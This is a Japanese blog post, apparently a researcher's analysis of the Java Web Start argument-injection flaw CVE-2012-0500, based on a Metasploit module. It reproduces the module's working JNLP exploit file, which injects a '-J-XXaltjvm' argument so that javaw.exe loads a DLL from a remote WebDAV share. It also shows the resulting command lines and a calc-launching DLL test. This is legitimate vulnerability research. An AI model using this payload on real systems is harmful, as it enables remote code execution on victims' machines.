Java Web Startの脆弱性(CVE-2012-0500)を調べてみる

NTTデータ先端技術の検証レポートをきっかけに CVE-2012-0500 に興味を持ったので、Metasploit Framework モジュール「java_ws_vmargs」(以降、「java_ws_vmargs」)をもとに調べました。この調べた結果をもとに「どんな脆弱性か」、「どうしてシェルコードを実行できてしまうのか」を自分なりに整理してみました。間違い等があったらコメントください。

どんな脆弱性

僕は CVE-2012-0500 を次の脆弱性と判断しました。

CVE-2012-0500 は「Java Web Start(javaws.exe)による Java アプリケーション(javaw.exe)起動時の引数におけるエスケープ処理の不備」である。この脆弱性を悪用すると、Java アプリケーションに任意の引数を追加できる。

この判断に至る流れを、「問題のない JNLP ファイルからの Java アプリケーションの起動」、「『java_ws_vmargs』が生成する JNLP ファイルからの Java アプリケーションの起動」の順にみていきます。

問題のない JNLP ファイルからの Java アプリケーションの起動

まず、Java Web Start がどのように Java アプリケーションを起動するか確認するため、問題のない JNLP ファイルで Java Web Start を実行してみました。

Java Runtime Environment(JRE) 1.6.30 をインストールした Windows XP Service Pack 3(SP3) で、C:\cve-2012-0500\sample.jnlp(以下)をダブルクリックで開きました。sample.jnlp をダブルクリックで開くと「javaws.exe 」が実行され、javaws.exe が「javaw.exe」を実行しました。結果として javaw.exe は [アプリケーションエラー]ウインドウが起動して終了しました。

<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1">
<information>
   <title>nhUjkBZLZxG</title>
   <vendor>hKbQFJXCIgEdqEvaTI</vendor>
   <description>oGeydGWTKfWMsMvmz</description>
</information>
<resources>
   <java version="1.3+" initial-heap-size="512m" />
</resources>
</jnlp>

このとき、Process Explorer で javaw.exe のプロセスを確認したところ、次のコマンドラインが実行されていました。JNLP ファイル中の java 要素の「initial-heap-size」属性の値 512m が、引数「-Xms」や「-Djnlpx.heapsize」に展開されていることが分かります。

"C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" "-Xbootclasspath/a:C:\\Program Files\\Java\\jre6\\lib\\javaws.jar;C:\\Program Files\\Java\\jre6\\lib\\deploy.jar;C:\\Program Files\\Java\\jre6\\lib\\plugin.jar" -classpath "C:\\Program Files\\Java\\jre6\\lib\\deploy.jar" "-Djava.security.policy=file:C:\\Program Files\\Java\\jre6\\lib\\security\\javaws.policy" -DtrustProxy=true -Xverify:remote "-Djnlpx.home=C:\\Program Files\\Java\\jre6\\bin" -Dsun.awt.warmup=true -Djnlpx.origFilenameArg=C:\cve-2012-0500\sample.jnlp -Djnlpx.remove=true -Xms512m -Djnlpx.heapsize=512m,NULL -Djnlpx.splashport=1068 "-Djnlpx.jvm=C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" com.sun.javaws.Main C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\javaws5


続いて、sample.jnlp の「initial-heap-size」属性の値を変更して C:\cve-2012-0500\sample04.jnlp(後述)を作成しました。この sample04.jnlp では「initial-heap-size」属性の値として「512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "」を指定しています。
sample04.jnlp を sample.jnlp と同じように開きました。この結果、sample.jnlp と同じように「javaw.exe」が実行されましたが、[Could not create the Java Virtual machine.] というエラーメッセージが出力されました。

<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1">
<information>
   <title>nhUjkBZLZxG</title>
   <vendor>hKbQFJXCIgEdqEvaTI</vendor>
   <description>oGeydGWTKfWMsMvmz</description>
</information>
<resources>
   <java version="1.3+" initial-heap-size='512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "' />
</resources>
</jnlp>

Process Explorer で「javaw.exe」のプロセスを確認したところ、次のコマンドラインが実行されていました。「initial-heap-size」属性の値「512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "」のうち、「"」と「\」がそれぞれエスケープされていること*1を確認できました。

"C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" "-Xbootclasspath/a:C:\\Program Files\\Java\\jre6\\lib\\javaws.jar;C:\\Program Files\\Java\\jre6\\lib\\deploy.jar;C:\\Program Files\\Java\\jre6\\lib\\plugin.jar" -classpath "C:\\Program Files\\Java\\jre6\\lib\\deploy.jar" "-Djava.security.policy=file:C:\\Program Files\\Java\\jre6\\lib\\security\\javaws.policy" -DtrustProxy=true -Xverify:remote "-Djnlpx.home=C:\\Program Files\\Java\\jre6\\bin" -Dsun.awt.warmup=true -Djnlpx.origFilenameArg=C:\cve-2012-0500\sample04.jnlp -Djnlpx.remove=true "-Xms512m\" -J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe \"" "-Djnlpx.heapsize=512m\" -J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe \",NULL" -Djnlpx.splashport=1076 "-Djnlpx.jvm=C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" com.sun.javaws.Main C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\javaws5

以上のことから、Java アプリケーションの引数に「"」や「\」などの特殊文字を含む文字列が指定された場合、それらをエスケープしていれば問題ないと言えます。

java_ws_vmargs」が生成する JNLP ファイルからの Java アプリケーションの起動

では、「java_ws_vmargs」が生成する JNLP ファイル(後述)の場合はどうでしょうか。この JNLP ファイル(以降、cve-2012-0500.jnlp)では、java 要素の「initial-heap-size」属性の値に「512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "」、別の java 要素の「java-vm-args」属性の値に「-Dhttp.agent=jqUBuiZmM"」を設定しています。

この cve-2012-0500.jnlp をダブルクリックで開いてみました。同じように「javaw.exe」が実行され、このとき [Error: no `\\192.168.0.101\\yy21JFn1ASBSe' JM at `\\192.168.0.101\\yy21JFn1ASBSe\jvm.dll'] というエラーメッセージが出力されました。実際に「java_ws_vmargs」を実行して、exploit に成功するとシェルコードが実行されてしまいました(興味がある方は参考情報のデモ動画を参照してください)。

<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1">
<information>
   <title>nhUjkBZLZxG</title>
   <vendor>hKbQFJXCIgEdqEvaTI</vendor>
   <description>oGeydGWTKfWMsMvmz</description>
</information>
<resources>
   <java version="1.3+" initial-heap-size='512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "' />
</resources>
<resources><java java-vm-args='-Dhttp.agent=jqUBuiZmM"' /></resources>
</jnlp>

このとき Process Explorer で「javaw.exe」のプロセスを確認したところ、次のコマンドラインが実行されていました。「-Dhttp.agent=jqUBuiZmM"」の「"」がエスケープされずにそのまま出力されていました。この「"」が「javaw.exe」の引数に挿入されることで、「-Dhttp.agent=jqUBuiZmM"」以降の引数の「"」の組み合わせが崩れ、「-J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe」が引数として認識されてしまうわけです。

"C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" "-Xbootclasspath/a:C:\\Program Files\\Java\\jre6\\lib\\javaws.jar;C:\\Program Files\\Java\\jre6\\lib\\deploy.jar;C:\\Program Files\\Java\\jre6\\lib\\plugin.jar" -classpath "C:\\Program Files\\Java\\jre6\\lib\\deploy.jar" "-Djava.security.policy=file:C:\\Program Files\\Java\\jre6\\lib\\security\\javaws.policy" -DtrustProxy=true -Xverify:remote "-Djnlpx.home=C:\\Program Files\\Java\\jre6\\bin" -Dsun.awt.warmup=true -Djnlpx.origFilenameArg=C:\cve-2012-0500\cve-2012-0500.jnlp -Djnlpx.remove=true -Dhttp.agent=jqUBuiZmM" "-Xms512m\" -J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe \"" "-Djnlpx.heapsize=512m\" -J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe \",NULL" -Djnlpx.splashport=1051 "-Djnlpx.jvm=C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" -Djnlpx.vmargs=-Dhttp.agent=jqUBuiZmM" com.sun.javaws.Main C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\javaws6

どうしてシェルコードを実行できてしまうのか

Java アプリケーションの引数に「-J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe」を追加でき、シェルコードを実行できてしまいました。

「-J-XXaltjvm」を調べてみると、次の情報を確認しました。

java.exe and javaw.exe support an undocumented-hidden command-line parameter "-XXaltjvm" and curiosly also "-J-XXaltjvm" (see -J switch in javaws.exe). This instructs Java to load an alternative JavaVM library (jvm.dll or libjvm.so) from the desired path.

http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1

実際に Java アプリケーション(javaw.exe)の引数に「-J-XXaltjvm」オプションを指定して実行してみました。このとき「-J-XXaltjvm」オプションの値には、電卓プログラム(calc.exe)を起動するだけの jvm.dll*2を含むフォルダ C:\cve-2012-0500 を指定しました。エラーが発生するものの、電卓プログラムが起動してしまいました。

以上のことから「-J-XXaltjvm」オプションで実行したい jvm.dll を含むフォルダを指定すると、その jvm.dll が実行できるわけですね。

「-J-XXaltjvm」オプションでリモートの DLL ファイルを指定する

CVE-2012-0500 を悪用して「-J-XXaltjvm」オプションを追加することで jvm.dll を実行する場合、jvm.dll として攻撃者の制御下にあるものを指定する必要があります。そうでなければ任意のコードを実行できません。

java_ws_vmargs」では「\」がエスケープされることを利用して、WebDAV フォルダ(このブログ記事中の JNLP ファイルでは \\192.168.0.101\\yy21JFn1ASBSe)を指定していました。WebDAV フォルダではなく、URL を指定できないか確認してみました。

「-J-XXaltjvm」の値に「http://192.168.0.101/aaa」を指定して、Java 仮想マシンを実行してみました。実行した結果、http://192.168.0.101/aaa への HTTP リクエストが送信されませんでした(下図)。このことから、「-J-XXaltjvm」オプションには URL を指定できないようです。

調べきれていないこと

次のことについてはきちんと調べきれていません。

  • JRE 1.6.30 をインストールした Windows 7 SP1 上では「java_vm_args」による exploit が成功しない。
    • 「-J-XXaltjvm」オプションの挿入には成功している。
    • WebDAV フォルダへのリクエストが発生しない。

所感

java_ws_vmargs」を基に調べてみると、TSL20120214-01 の「Oracle Java Web Start Command Argument Injection Remote Code Execution」という脆弱性名がとても適切な表現だと思いました。Mac OS X を狙ったマルウェア「Flashback」の亜種が JRE脆弱性を悪用して感染することが発覚*3するなど、JRE に関連する脆弱性は影響範囲が広いですね:( JRE脆弱性の実証コードが公開された場合、きちんと確認していきたいです。

*1:コマンドラインエスケープ処理については、「cmd.exe のコマンドラインの仕様を解析してみた」を参考にさせていただきました。

*2:http://pastie.org/1191532 をビルドして使いました。

*3:無題なブログ:Mac OS X Flashbackウイルス と Javaエクスプロイト」を参照してください。